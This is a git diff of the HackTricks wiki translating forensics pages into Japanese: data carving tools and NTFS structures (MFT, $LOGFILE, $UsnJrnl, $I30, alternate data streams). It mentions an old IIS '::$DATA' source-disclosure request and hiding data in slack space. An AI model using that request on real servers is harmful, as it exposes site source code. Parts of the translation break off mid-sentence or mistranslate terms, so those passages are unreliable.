``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +このツールはKaliに含まれていますが、ここで見つけることもできます:[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) +このツールはイメージをスキャンし、**pcapファイル**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を抽出します。以下の手順を実行するだけです: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +**すべての情報**を調査ツールが収集したものを参照し(パスワードなど)、**パケット**を分析し([**Pcaps分析**](../pcap-inspection/)を参照)、**異常なドメイン**(マルウェアや存在しないドメインに関連するもの)を検索します。 ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で入手できます。 -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +GUIとCLIのバージョンがあります。PhotoRecが検索する**ファイルタイプ**を選択できます。 ![](../../../.gitbook/assets/image%20%28524%29.png) -# Specific Data Carving Tools +# 特定のデータカービングツール ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +キースケジュールを検索してAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーなどを見つけることができます。 -Download [here](https://sourceforge.net/projects/findaes/). +[こちら](https://sourceforge.net/projects/findaes/)からダウンロードできます。 -# Complementary tools +# 補完ツール -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +ターミナルで画像を表示するために[**viu** ](https://github.com/atanunq/viu)を使用できます。 +Linuxのコマンドラインツール**pdftotext**を使用して、PDFをテキストに変換して読むことができます。 @@ -94,16 +84,14 @@ You can use the linux command line tool **pdftotext** to transform a pdf into te ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index f61b86131..57e3c694f 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -6,239 +6,222 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 ## **NTFS** -**NTFS** (**New Technology File System**) is a proprietary journaling file system developed by Microsoft. +**NTFS**(**New Technology File System**)は、Microsoftによって開発されたプロプライエタリなジャーナリングファイルシステムです。 -The cluster is the smallest unit of size in NTFS and the size of the cluster depends on the size of a partition. +NTFSでは、クラスタが最小のサイズ単位であり、クラスタのサイズはパーティションのサイズに依存します。 -| Partition size | Sectors per cluster | Cluster size | +| パーティションのサイズ | クラスタあたりのセクタ数 | クラスタのサイズ | | ------------------------ | ------------------- | ------------ | -| 512MB or less | 1 | 512 bytes | -| 513MB-1024MB (1GB) | 2 | 1KB | -| 1025MB-2048MB (2GB) | 4 | 2KB | -| 2049MB-4096MB (4GB) | 8 | 4KB | -| 4097MB-8192MB (8GB) | 16 | 8KB | -| 8193MB-16,384MB (16GB) | 32 | 16KB | -| 16,385MB-32,768MB (32GB) | 64 | 32KB | -| Greater than 32,768MB | 128 | 64KB | +| 512MB以下 | 1 | 512バイト | +| 513MB-1024MB(1GB) | 2 | 1KB | +| 1025MB-2048MB(2GB) | 4 | 2KB | +| 2049MB-4096MB(4GB) | 8 | 4KB | +| 4097MB-8192MB(8GB) | 16 | 8KB | +| 8193MB-16,384MB(16GB) | 32 | 16KB | +| 16,385MB-32,768MB(32GB) | 64 | 32KB | +| 32,768MBより大きい | 128 | 64KB | -### **Slack-Space** +### **スラックスペース** -As the **smallest** size unit of NTFS is a **cluster**. Each file will be occupying several complete clusters. Then, it's highly probable that **each file occupies more space than necessary**. These **unused** **spaces** **booked** by a file which is called a **slacking** **space** and people could take advantage of this area to **hide** **information**. +NTFSの最小のサイズ単位はクラスタです。各ファイルは複数の完全なクラスタを占有します。そのため、各ファイルが必要以上のスペースを占有している可能性が非常に高いです。ファイルによって予約されたこれらの未使用のスペースは、スラックスペースと呼ばれ、人々はこの領域を利用して情報を隠すことができます。 ![](<../../../.gitbook/assets/image (498).png>) -### **NTFS boot sector** +### **NTFSブートセクタ** -When you format an NTFS volume, the format program allocates the first 16 sectors for the Boot metadata file. The first sector is a boot sector with a "bootstrap" code and the following 15 sectors are the boot sector's IPL (Initial Program Loader). To increase file system reliability the very last sector of an NTFS partition contains a spare copy of the boot sector. +NTFSボリュームをフォーマットすると、フォーマットプログラムは最初の16セクタをブートメタデータファイルに割り当てます。最初のセクタはブートセクタであり、「ブートストラップ」コードが含まれており、次の15セクタはブートセクタのIPL(Initial Program Loader)です。ファイルシステムの信頼性を高めるために、NTFSパーティションの最後のセクタにはブートセクタの予備コピーが含まれています。 -### **Master File Table (MFT)** +### **マスターファイルテーブル(MFT)** -The NTFS file system contains a file called the Master File Table (MFT). There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its **size, time and date stamps, permissions, and data content**, is stored either in MFT entries or in space outside the MFT that is described by MFT entries. +NTFSファイルシステムには、マスターファイルテーブル(MFT)と呼ばれるファイルが含まれています。NTFSファイルシステムボリューム上のすべてのファイルには、MFT自体を含む少なくとも1つのエントリがあります。ファイルのすべての情報(サイズ、時刻と日付のスタンプ、アクセス許可、データ内容など)は、MFTエントリまたはMFTエントリによって記述されるMFTの外部のスペースに格納されます。 -As **files are added** to an NTFS file system volume, more entries are added to the MFT and the **MFT increases in size**. When **files** are **deleted** from an NTFS file system volume, their **MFT entries are marked as free** and may be reused. However, disk space that has been allocated for these entries is not reallocated, and the size of the MFT does not decrease. +NTFSファイルシステムボリュームにファイルが追加されると、MFTにはさらにエントリが追加され、MFTのサイズが増加します。NTFSファイルシステムボリュームからファイルが削除されると、そのMFTエントリは無料とマークされ、再利用される可能性があります。ただし、これらのエントリに割り当てられたディスクスペースは再割り当てされず、MFTのサイズは減少しません。 -The NTFS file system **reserves space for the MFT to keep the MFT as contiguous as possible** as it grows. The space reserved by the NTFS file system for the MFT in each volume is called the **MFT zone**. Space for files and directories is also allocated from this space, but only after all of the volume space outside of the MFT zone has been allocated. +NTFSファイルシステムは、MFTをできるだけ連続した状態に保つために、MFTのためにスペースを予約します。各ボリュームのNTFSファイルシステムによってMFTのために予約されたスペースは、MFTゾーンと呼ばれます。ファイルとディレクトリのスペースもこのスペースから割り当てられますが、MFTゾーンの外側のボリュームスペースがすべて割り当てられた後にのみ割り当てられます。 -Depending on the average file size and other variables, **either the reserved MFT zone or the unreserved space on the disk may be allocated first as the disk fills to capacity**. Volumes with a small number of relatively large files will allocate the unreserved space first, while volumes with a large number of relatively small files allocate the MFT zone first. In either case, fragmentation of the MFT starts to take place when one region or the other becomes fully allocated. If the unreserved space is completely allocated, space for user files and directories will be allocated from the MFT zone. If the MFT zone is completely allocated, space for new MFT entries will be allocated from the unreserved space. +平均ファイルサイズやその他の変数に応じて、ディスクが容量いっぱいになると、予約されたMFTゾーンまたはディスク上の未予約スペースのどちらかが最初に割り当てられます。比較的大きな数のファイルを持つボリュームは、未予約スペースを最初に割り当てますが、比較的小さな数のファイルを持つボリュームは、MFTゾーンを最初に割り当てます。いずれの場合でも、MFTの断片化は、いずれかの領域が完全に割り当てられると始まります。未予約スペースが完全に割り当てられる場合、ユーザーファイルとディレクトリのスペースはMFTゾーンから割り当てられます。MFTゾーンが完全に割り当てられる場合、新しいMFTエントリのスペースは未予約スペースから割り当てられます。 -NTFS file systems also generate a **$MFTMirror**. This is a **copy** of the **first 4 entries** of the MFT: $MFT, $MFT Mirror, $Log, $Volume. +NTFSファイルシステムは、**$MFTMirror**も生成します。これはMFTの最初 +| ブートセクター | $Boot | 7 | ボリュームをマウントするために使用されるBPBと、ボリュームがブート可能な場合に使用される追加のブートストラップローダーコードを含みます。 | +| バッドクラスターファイル | $BadClus | 8 | ボリュームのバッドクラスターを含みます。 | +| セキュリティファイル | $Secure | 9 | ボリューム内のすべてのファイルに対する固有のセキュリティディスクリプタを含みます。 | +| 大文字変換テーブル | $Upcase | 10 | 小文字の文字を対応するUnicodeの大文字に変換します。 | +| NTFS拡張ファイル | $Extend | 11 | クォータ、リパースポイントデータ、オブジェクト識別子などのさまざまなオプションの拡張機能に使用されます。 | +| | | 12-15 | 将来の使用のために予約されています。 | +| クォータ管理ファイル | $Quota | 24 | ボリュームスペースに対するユーザーによるクォータ制限を含みます。 | +| オブジェクトIDファイル | $ObjId | 25 | ファイルオブジェクトIDを含みます。 | +| リパースポイントファイル | $Reparse | 26 | このファイルには、リパースポイントデータを含むボリューム上のファイルとフォルダに関する情報が含まれています。 | -NTFS reserves the first 16 records of the table for special information: - -| System File | File Name | MFT Record | Purpose of the File | -| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Master file table | $Mft | 0 | Contains one base file record for each file and folder on an NTFS volume. If the allocation information for a file or folder is too large to fit within a single record, other file records are allocated as well. | -| Master file table 2 | $MftMirr | 1 | A duplicate image of the first four records of the MFT. This file guarantees access to the MFT in case of a single-sector failure. | -| Log file | $LogFile | 2 | Contains a list of transaction steps used for NTFS recoverability. Log file size depends on the volume size and can be as large as 4 MB. It is used by Windows NT/2000 to restore consistency to NTFS after a system failure. | -| Volume | $Volume | 3 | Contains information about the volume, such as the volume label and the volume version. | -| Attribute definitions | $AttrDef | 4 | A table of attribute names, numbers, and descriptions. | -| Root file name index | $ | 5 | The root folder. | -| Cluster bitmap | $Bitmap | 6 | A representation of the volume showing which clusters are in use. | -| Boot sector | $Boot | 7 | Includes the BPB used to mount the volume and additional bootstrap loader code used if the volume is bootable. | -| Bad cluster file | $BadClus | 8 | Contains bad clusters for the volume. | -| Security file | $Secure | 9 | Contains unique security descriptors for all files within a volume. | -| Upcase table | $Upcase | 10 | Converts lowercase characters to matching Unicode uppercase characters. | -| NTFS extension file | $Extend | 11 | Used for various optional extensions such as quotas, reparse point data, and object identifiers. | -| | | 12-15 | Reserved for future use. | -| Quota management file | $Quota | 24 | Contains user assigned quota limits on the volume space. | -| Object Id file | $ObjId | 25 | Contains file object IDs. | -| Reparse point file | $Reparse | 26 | This file contains information about files and folders on the volume including reparse point data. | - -### Each entry of the MFT looks like the following: +### MFTの各エントリは次のようになります: ![](<../../../.gitbook/assets/image (499).png>) -Note how each entry starts with "FILE". Each entry occupies 1024 bits. So after 1024 bit from the start of an MFT entry, you will find the next one. +各エントリは「FILE」で始まることに注意してください。各エントリは1024ビットを占有します。したがって、MFTエントリの開始から1024ビット後に次のエントリが見つかります。 -Using the [**Active Disk Editor**](https://www.disk-editor.org/index.html) it's very easy to inspect the entry of a file in the MFT. Just right click on the file and then click "Inspect File Record" +[**Active Disk Editor**](https://www.disk-editor.org/index.html)を使用すると、MFT内のファイルのエントリを簡単に検査できます。ファイルを右クリックし、「Inspect File Record」をクリックします。 ![](<../../../.gitbook/assets/image (500).png>) ![](<../../../.gitbook/assets/image (501).png>) -Checking the **"In use**" flag it's very easy to know if a file was deleted (a value of **0x0 means deleted**). +**「In use」**フラグをチェックすることで、ファイルが削除されたかどうかを簡単に判断できます(**0x0の値は削除されたことを意味します**)。 ![](<../../../.gitbook/assets/image (510).png>) -It's also possible to recover deleted files using FTKImager: +FTKImagerを使用して削除されたファイルを回復することも可能です: ![](<../../../.gitbook/assets/image (502).png>) -### MFT Attributes +### MFT属性 -Each MFT entry has several attributes as the following image indicates: +各MFTエントリには、次の画像に示すように、いくつかの属性があります: ![](<../../../.gitbook/assets/image (506).png>) -Each attribute indicates some entry information identified by the type: +各属性は、次のようにタイプによって識別されるエントリ情報を示します: -| Type Identifier | Name | Description | +| タイプ識別子 | 名前 | 説明 | | --------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------- | -| 16 | $STANDARD\_INFORMATION | General information, such as flags; the last accessed, written, and created times; and the owner and security ID. | -| 32 | $ATTRIBUTE\_LIST | List where other attributes for a file can be found. | -| 48 | $FILE\_NAME | File name, in Unicode, and the last accessed, written, and created times. | -| 64 | $VOLUME\_VERSION | Volume information. Exists only in version 1.2 (Windows NT). | -| 64 | $OBJECT\_ID | A 16-byte unique identifier for the file or directory. Exists only in versions 3.0+ and after (Windows 2000+). | -| 80 | $SECURITY\_ DESCRIPTOR | The access control and security properties of the file. | -| 96 | $VOLUME\_NAME | Volume name. | -| 112 | $VOLUME\_ INFORMATION | File system version and other flags. | -| 128 | $DATA | File contents. | -| 144 | $INDEX\_ROOT | Root node of an index tree. | -| 160 | $INDEX\_ALLOCATION | Nodes of an index tree rooted in $INDEX\_ROOT attribute. | -| 176 | $BITMAP | A bitmap for the $MFT file and for indexes. | -| 192 | $SYMBOLIC\_LINK | Soft link information. Exists only in version 1.2 (Windows NT). | -| 192 | $REPARSE\_POINT | Contains data about a reparse point, which is used as a soft link in version 3.0+ (Windows 2000+). | -| 208 | $EA\_INFORMATION | Used for backward compatibility with OS/2 applications (HPFS). | -| 224 | $EA | Used for backward compatibility with OS/2 applications (HPFS). | -| 256 | $LOGGED\_UTILITY\_STREAM | Contains keys and information about encrypted attributes in version 3.0+ (Windows 2000+). | +| 16 | $STANDARD\_INFORMATION | フラグ、最終アクセス、書き込み、作成時刻、所有者、セキュリティIDなどの一般情報。 | +| 32 | $ATTRIBUTE\_LIST | ファイルの他の属性が見つかるリスト。 | +| 48 | $FILE\_NAME | ファイル名(Unicode)、最終アクセス、書き込み、作成時刻。 | +| 64 | $VOLUME\_VERSION | ボリューム情報。バージョン1.2(Windows NT)のみ存在します。 | +| 64 | $OBJECT\_ID | ファイルまたはディレクトリの16バイトの一意の識別子。バージョン3.0以降(Windows 2000以降)のみ存在します。 | +| 80 | $SECURITY\_ DESCRIPTOR | ファイルのアクセス制御とセキュリティプロパティ。 | +| 96 | $VOLUME\_NAME | ボリューム名。 | +| 112 | $VOLUME\_ INFORMATION | ファイルシステムのバージョンとその他のフラグ。 | +| 128 | $DATA | ファイルの内容。 | +| 144 | $INDEX\_ROOT | インデックスツリーのルートノード。 | +| 160 | $INDEX\_ALLOCATION | $INDEX\_ROOT属性にルートされたインデックスツリーのノード。 | +| 176 | $BITMAP | $MFTファイルおよびインデックスのためのビットマップ。 | +| 192 | $SYMBOLIC\_LINK | ソフトリンク情報。バージョン1.2(Windows NT)のみ存在します。 | +| 192 | $REPARSE\_POINT | リパースポイントに関するデータが含まれており、バージョン3.0以降(Windows 2000以降)でソフトリンクとして使用されます。 | +| 208 | $EA\_INFORMATION | OS/2アプリケーション(HPFS)との後方互換性のために使用されます。 | +| 224 | $EA | OS/2アプリケーション(HPFS)との後方互換性のために使用されます。 | +| 256 | $LOGGED\_UTILITY\_STREAM | バージョン3.0以降(Windows 2000以降)で暗号化属性に関するキーと情報が含まれています。 | -For example the **type 48 (0x30)** identifies the **file name**: +たとえば、**タイプ48(0x30)**は**ファイル名**を識別します: ![](<../../../.gitbook/assets/image (508).png>) -It is also useful to understand that **these attributes can be resident** (meaning, they exist within a given MFT record) or **nonresident** (meaning, they exist outside a given MFT record, elsewhere on the disk, and are simply referenced within the record). For example, if the attribute **$Data is resident**, this means that the **whole file is saved in the MFT**, if it's nonresident, then the content of the file is in another part of the file system. +また、これらの属性が**resident(MFTレコード内に存在する)**か**nonresident(MFTレコード内の他の場所に存在し、レコード内で参照されるだけ)**であることを理解することも役立ちます。たとえば、属性**$Dataがresident**である場合、これは**ファイル全体がMFTに保存されている**ことを意味します。nonresidentの場合、ファイルの内容はファイルシステムの別の場所にあります。 -Some interesting attributes: +いくつかの興味深い属性: -* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html) (among others): - * Creation date - * Modification date - * Access date - * MFT update date - * DOS File permissions -* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html) (among others): - * File name - * Creation date - * Modification date - * Access date - * MFT update date - * Allocated size - * Real size - * [File reference](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html) to the parent directory. -* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (among others): - * Contains the file's data or the indication of the sectors where the data resides. In the following example, the attribute data is not resident so the attribute gives information about the sectors where the data resides. +* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html)(他にもあります): +* 作成日時 +* 変更日時 +* アクセス日時 +* MFT更新日時 +* DOSファイルの許可 +* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html)(他にもあります): +* ファイル名 +* 作成日時 +* 変更日時 +* アクセス日時 +* MFT更新日時 +* 割り当てられたサイズ +* 実際のサイズ +* 親ディレクトリへの[ファイル参照](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html)。 +* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html)(他にもあります): +* ファイルのデータまたはデータが存在するセクターの指示を含みます。次の例では、属性データがresidentでないため、属性はデータが存在するセクターに関する情報を提供します。 ![](<../../../.gitbook/assets/image (507) (1) (1).png>) ![](<../../../.gitbook/assets/image (509).png>) - -### NTFS timestamps +### NTFSタイムスタンプ ![](<../../../.gitbook/assets/image (512).png>) -Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv) (select the mft file or the image and press dump all and extract to extract all the objects).\ -This program will extract all the MFT data and present it in CSV format. It can also be used to dump files. +MFTを分析するための便利なツールとして、[**MFT2csv**](https://github.com/jschicht/Mft2Csv)があります(mftファイルまたはイメージを選択し、すべてをダンプして抽出してオブジェクトを抽出します)。\ +このプログラムは、すべてのMFTデータを抽出し、CSV形式で表示します。また、ファイルのダンプにも使用できます。 ![](<../../../.gitbook/assets/image (513).png>) ### $LOGFILE -The file **`$LOGFILE`** contains **logs** about the **actions** that have been **performed** **to** **files**. It also **saves** the **action** it would need to perform in case of a **redo** and the action needed to **go back** to the **previous** **state**.\ -These logs are useful for the MFT to rebuild the file system in case some kind of error happened. The maximum size of this file is **65536KB**. +**`$LOGFILE`**ファイルには、**ファイルに対して実行されたアクションに関するログ**が含まれています。また、**やり直し**が必要なアクションと、**前の状態に戻る**ために必要なアクションも**保存**されます。\ +これらのログは、MFTがファイルシステムを再構築するために使用されます。このファイルの最大サイズは**65536KB**です。 -To inspect the `$LOGFILE` you need to extract it and inspect the `$MFT` previously with [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\ -Then run [**LogFileParser**](https://github.com/jschicht/LogFileParser) against this file and select the exported `$LOGFILE` file and the CVS of the inspection of the `$MFT`. You will obtain a CSV file with the logs of the file system activity recorded by the `$LOGFILE` log. +`$LOGFILE`を調査するには、[**MFT2csv**](https://github.com/jschicht/Mft2Csv)を使用して、事前に`$MFT`を抽出して調査します。\ +次に、[**LogFileParser**](https://github.com/jschicht/LogFileParser)をこのファイルに対して実行し、エクスポートされた`$LOGFILE`ファイルと`$MFT`の検査のCSVを選択します。`$LOGFILE`ログによって記録されたファイルシステムのアクティビティのログが含まれたCSVファイルが生成されます。 ![](<../../../.gitbook/assets/image (515).png>) -Filtering by filenames you can see **all the actions performed against a file**: +ファイル名でフィルタリングすると、**ファイルに対して実行されたすべてのアクション**を確認できます。 ![](<../../../.gitbook/assets/image (514).png>) ### $USNJnrl -The file `$EXTEND/$USNJnrl/$J` is an alternate data stream of the file `$EXTEND$USNJnrl`. This artifact contains a **registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. +ファイル`$EXTEND/$USNJnrl/$J`は、ファイル`$EXTEND$USNJnrl`の代替データストリームです。このアーティファクトには、`$LOGFILE`よりも詳細なNTFSボリューム内で発生した変更のレジストリが含まれています。 -To inspect this file you can use the tool [**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv). +このファイルを調査するには、ツール[**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv)を使用できます。 -Filtering by the filename it's possible to see **all the actions performed against a file**. Also, you can find the `MFTReference` in the parent folder. Then looking at that `MFTReference` you can find **information from the parent folder.** +ファイル名でフィルタリングすると、**ファイルに対して実行されたすべてのアクション**を確認できます。また、親フォルダの`MFTReference`を見つけることもできます。その`MFTReference`を見ることで、親フォルダの情報を取得できます。 ![](<../../../.gitbook/assets/image (516).png>) ### $I30 -Every **directory** in the file system contains an **`$I30`** **attribute** that must be maintained whenever there are changes to the directory's contents. When files or folders are removed from the directory, the **`$I30`** index records are re-arranged accordingly. However, **re-arranging of the index records may leave remnants of the deleted file/folder entry within the slack space**. This can be useful in forensics analysis for identifying files that may have existed on the drive. +ファイルシステムのすべてのディレクトリには、ディレクトリの内容に変更がある場合に維持する必要がある**`$I30`属性**があります。ディレクトリからファイルまたはフォルダが削除されると、**`$I30`インデックスレコードが適切に再配置されます**。ただし、**インデックスレコードの再配置により、削除されたファイル/フォルダのエントリの残骸がスラックスペースに残ることがあります**。これは、ドライブ上に存在した可能性のあるファイルを特定するためのフォレンジック分析に役立ちます。 -You can get the `$I30` file of a directory from the **FTK Imager** and inspect it with the tool [Indx2Csv](https://github.com/jschicht/Indx2Csv). +ディレクトリの`$I30`ファイルを**FTK Imager**から取得し、ツール[Indx2Csv](https://github.com/jschicht/Indx2Csv)で調査できます。 ![](<../../../.gitbook/assets/image (519).png>) -With this data, you can find **information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this log. However, you can see that **last modified date** of the **`$I30` file**, and if the **last action performed** over the directory is the **deletion** of a file, the times may be the same. +このデータを使用すると、フォルダ内で実行されたファイルの変更に関する情報を見つけることができますが、ファイルの削除時刻はこのログに保存されません。ただし、**`$I30`ファイル**の**最終変更日**を見ることができ、ディレクトリで実行された**最後のアクション**がファイルの**削除**である場合、時刻は同じである可能性があります。 ### $Bitmap -The **`$BitMap`** is a special file within the NTFS file system. This file keeps **track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location used is marked out in the `$BitMap`. +**`$BitMap`**は、NTFSファイルシステム内の特別なファイルです。このファイルは、NTFSボリューム上のすべての使用済みおよび未使用のクラスタを追跡します。ファイルがNTFSボリューム上のスペースを占有すると、使用される場所は`$BitMap`でマークされます。 ![](<../../../.gitbook/assets/image (523).png>) -### ADS (Alternate Data Stream) +### ADS(代替データストリーム) -Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`.\ -In this [page you can see different ways to create/access/discover alternate data streams](../../../windows-hardening/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past, this cause a vulnerability in IIS as people were able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. +代替データストリームを使用すると、ファイルに複数のデータストリームを含めることができます。すべてのファイルには少なくとも1つのデータストリームがあります。Windowsでは、このデフォルトのデータストリームは`:$DATA`と呼ばれます。\ +この[ページ](../../../windows-hardening/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream)では、コンソールから代替データストリームを作成/アクセス/発見するさまざまな方法を確認できます。過去には、これがIISの脆弱性を引き起こし、人々が`http://www.alternate-data-streams.com/default.asp::$DATA`のように`:$DATA`ストリームにアクセスすることでページのソースコードにアクセスできるようになりました。 -Using the tool [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html) you can search and export all the files with some ADS. +ツール[**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html)を使用すると、いくつかのADSを持つすべてのファイルを検索してエクスポートできます。 ![](<../../../.gitbook/assets/image (518).png>) -Using the FTK imager and double clicking on a file with ADS you can **access the ADS data**: +FTKイメージャを使用してADSを持つファイルをダブルクリックすると、ADSデータにアクセスできます。 ![](<../../../.gitbook/assets/image (517).png>) -If you find an ADS called **`Zone.Identifier`** (see the above image), this usually contains **information about how the file was downloaded**. There would be a "ZoneId" field with the following info: +上記の画像で**`Zone.Identifier`**というADSが見つかった場合、これには通常、ファイルのダウンロード方法に関する情報が含まれています。以下の情報が含まれます。 -* Zone ID = 0 -> Mycomputer -* Zone ID = 1 -> Intranet -* Zone ID = 2 -> Trusted -* Zone ID = 3 -> Internet -* Zone ID = 4 -> Untrusted +* ゾーンID = 0 -> マイコンピュータ +* ゾーンID = 1 -> イントラネット +* ゾーンID = 2 -> 信頼済み +* ゾーンID = 3 -> インターネット +* ゾーンID = 4 -> 信頼されていない -Moreover, different software may store additional information: +さらに、異なるソフトウェアは追加の情報を保存する場合があります。 -| Software | Info | +| ソフトウェア | 情報 | | ------------------------------------------------------------------- | ---------------------------------------------------------------------------- | -| Google Chrome, Opera, Vivaldi, | ZoneId=3, ReferrerUrl, HostUrl | -| Microsoft Edge | ZoneId=3, LastWriterPackageFamilyName=Microsoft.MicrosoftEdge\_8wekyb3d8bbwe | -| Firefox, Tor browser, Outlook2016, Thunderbird, Windows Mail, Skype | ZoneId=3 | -| μTorrent | ZoneId=3, HostUrl=about:internet | +| Google Chrome、Opera、Vivaldi、 | 